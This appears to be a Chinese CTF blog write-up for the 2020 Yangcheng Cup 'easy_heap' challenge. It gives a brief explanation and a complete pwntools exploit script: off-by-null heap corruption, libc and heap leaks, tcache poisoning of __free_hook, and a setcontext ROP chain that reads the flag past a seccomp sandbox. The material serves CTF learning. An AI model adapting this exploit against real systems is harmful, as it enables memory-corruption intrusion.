MENU

Catalog

    2020羊城杯 easy_heap EXP

    July 7, 2021 • Read: 816 • Pwn,CTF

    off by null + 有 show 函数 leak + glibc2.30 沙箱,总共花了大概一个多小时,被 libc 文件卡了一下。

    做完之后看了一下官方 Writeup,说是修改自 balsn ctf 2019 的 plaintext,使用 largebins 的残留指针来构造。这实际上对于有 leak 的题目是不必要的,对于这类题目我已经写过一篇很详细的文章,有兴趣的师傅可以先看看那篇 http://blog.wjhwjhn.com/archives/193/

    PS:glibc2.30 和 glibc2.31 和 glibc2.32 的 unsortedbin leak 的 libc 地址居然末尾三字节是一样的。

    from pwn import *
    
    elf = None
    libc = None
    file_name = "./ycb_2020_easy_heap"
    
    
    # context.timeout = 1
    
    
    def get_file(dic=""):
        context.binary = dic + file_name
        return context.binary
    
    
    def get_libc(dic=""):
        libc = None
        try:
            data = os.popen("ldd {}".format(dic + file_name)).read()
            for i in data.split('\n'):
                libc_info = i.split("=>")
                if len(libc_info) == 2:
                    if "libc" in libc_info[0]:
                        libc_path = libc_info[1].split(' (')
                        if len(libc_path) == 2:
                            libc = ELF(libc_path[0].replace(' ', ''), checksec=False)
                            return libc
        except:
            pass
        if context.arch == 'amd64':
            libc = ELF("/lib/x86_64-linux-gnu/libc.so.6", checksec=False)
        elif context.arch == 'i386':
            try:
                libc = ELF("/lib/i386-linux-gnu/libc.so.6", checksec=False)
            except:
                libc = ELF("/lib32/libc.so.6", checksec=False)
        return libc
    
    
    def get_sh(Use_other_libc=False, Use_ssh=False):
        global libc
        if args['REMOTE']:
            if Use_other_libc:
                libc = ELF("./libc.so.6", checksec=False)
            if Use_ssh:
                s = ssh(sys.argv[3], sys.argv[1], sys.argv[2], sys.argv[4])
                return s.process(file_name)
            else:
                return remote(sys.argv[1], sys.argv[2])
        else:
            return process(file_name)
    
    
    def get_address(sh, libc=False, info=None, start_string=None, address_len=None, end_string=None, offset=None,
                    int_mode=False):
        if start_string != None:
            sh.recvuntil(start_string)
        if libc == True:
            return_address = u64(sh.recvuntil('\x7f')[-6:].ljust(8, '\x00'))
        elif int_mode:
            return_address = int(sh.recvuntil(end_string, drop=True), 16)
        elif address_len != None:
            return_address = u64(sh.recv()[:address_len].ljust(8, '\x00'))
        elif context.arch == 'amd64':
            return_address = u64(sh.recvuntil(end_string, drop=True).ljust(8, '\x00'))
        else:
            return_address = u32(sh.recvuntil(end_string, drop=True).ljust(4, '\x00'))
        if offset != None:
            return_address = return_address + offset
        if info != None:
            log.success(info + str(hex(return_address)))
        return return_address
    
    
    def get_flag(sh):
        sh.recvrepeat(0.1)
        sh.sendline('cat flag')
        return sh.recvrepeat(0.3)
    
    
    def get_gdb(sh, gdbscript=None, addr=0, stop=False):
        if args['REMOTE']:
            return
        if gdbscript is not None:
            gdb.attach(sh, gdbscript=gdbscript)
        elif addr is not None:
            text_base = int(os.popen("pmap {}| awk '{{print $1}}'".format(sh.pid)).readlines()[1], 16)
            log.success("breakpoint_addr --> " + hex(text_base + addr))
            gdb.attach(sh, 'b *{}'.format(hex(text_base + addr)))
        else:
            gdb.attach(sh)
        if stop:
            raw_input()
    
    
    def Attack(target=None, sh=None, elf=None, libc=None):
        if sh is None:
            from Class.Target import Target
            assert target is not None
            assert isinstance(target, Target)
            sh = target.sh
            elf = target.elf
            libc = target.libc
        assert isinstance(elf, ELF)
        assert isinstance(libc, ELF)
        try_count = 0
        while try_count < 3:
            try_count += 1
            try:
                pwn(sh, elf, libc)
                break
            except KeyboardInterrupt:
                break
            except EOFError:
                if target is not None:
                    sh = target.get_sh()
                    target.sh = sh
                    if target.connect_fail:
                        return 'ERROR : Can not connect to target server!'
                else:
                    sh = get_sh()
        flag = get_flag(sh)
        return flag
    
    
    def choice(idx):
        sh.sendlineafter("Choice:", str(idx))
    
    
    def add(size):
        choice(1)
        sh.sendlineafter("Size: ", str(size))
    
    
    def edit(idx, content):
        choice(2)
        sh.sendlineafter("Index: ", str(idx))
        sh.sendlineafter("Content: ", str(content))
    
    
    def delete(idx):
        choice(3)
        sh.sendlineafter("Index: ", str(idx))
    
    
    def show(idx):
        choice(4)
        sh.sendlineafter("Index: ", str(idx))
        sh.recvuntil('Content: ')
    
    
    def pwn(sh, elf, libc):
        context.log_level = "debug"
        add(0x418)  # 0
        add(0x18)  # 1
        add(0x18)  # 2
        for i in range(0xB):
            add(0xF8)  # 3 - 13
        delete(0)
    
        add(0x418)  # 0
        show(0)
        libc_base = get_address(sh, True, info="libc_base:\t", offset=-0x1eabe0)
    
        libc.address = libc_base
        delete(1)
        delete(2)
    
        add(0x18)  # 1
        add(0x18)  # 2
        show(1)
        heap_base = u64(sh.recvuntil('[+]Done!', drop=True)[-6:].ljust(8, '\x00')) - 0x6c0
        log.success("heap_base:\t" + hex(heap_base))
    
        for i in range(7):
            delete(3 + i)
    
        heap_11_ptr = heap_base + 0xef0
        edit(11, flat(heap_11_ptr + 0x20 - 0x18, heap_11_ptr + 0x20 - 0x10, heap_11_ptr) + 'a' * 0xD8 + p64(0x100))
        delete(12)
    
        for i in range(7):
            add(0xF8)  # 3 - 9
    
        add(0xF8)  # 10 == 11
        add(0xF8)  # 12
        add(0xF8)  # 13
    
        delete(10)
        delete(12)
        edit(11, p64(libc.sym['__free_hook']))
        add(0xF8)  # 10
        add(0xF8)  # 12 __free_hook
    
        delete(13)
        delete(10)
        edit(11, p64(libc.sym['__free_hook'] + 0xF8))
        add(0xF8)  # 10
        add(0xF8)  # 13 __free_hook + 0xF8
    
        pop_rdi_addr = libc.address + 0x26bb2
        pop_rsi_addr = libc.address + 0x2709c
        pop_rdx_r12_addr = libc.address + 0x11c421
    
        fake_frame_addr = libc.sym['__free_hook'] + 0x10
        frame = SigreturnFrame()
        frame.rax = 0
        frame.rdi = fake_frame_addr + 0xF8
        frame.rsp = fake_frame_addr + 0xF8 + 0x10
        frame.rip = pop_rdi_addr + 1  # : ret
        rop_data = [
            libc.sym['open'],
            pop_rdx_r12_addr,
            0x100,
            0,
            pop_rdi_addr,
            3,
            pop_rsi_addr,
            fake_frame_addr + 0x200,
            libc.sym['read'],
            pop_rdi_addr,
            fake_frame_addr + 0x200,
            libc.sym['puts']
        ]
    
        gadget = libc.address + 0x0000000000154b90  #:  mov rdx, qword ptr [rdi + 8] ; mov qword ptr [rsp], rax ; call qword ptr [rdx + 0x20]
        frame_data = str(frame).ljust(0xF8, '\x00')
        payload = p64(gadget) + p64(fake_frame_addr) + frame_data[:0x20] + p64(libc.sym['setcontext'] + 61) + frame_data[
                                                                                                              0x28:] + "flag\x00\x00\x00\x00" + p64(
            0) + flat(rop_data)
        edit(13, payload[0xF8:])
        edit(12, payload[:0xF8])
        # gdb.attach(sh, "b *" + hex(libc.sym['setcontext'] + 61))
        delete(12)
    
        sh.interactive()
    
    
    if __name__ == "__main__":
        sh = get_sh()
        flag = Attack(sh=sh, elf=get_file(), libc=get_libc())
        sh.close()
        log.success('The flag is ' + re.search(r'flag{.+}', flag).group())
    
    Archives QR Code
    QR Code for this page
    Tipping QR Code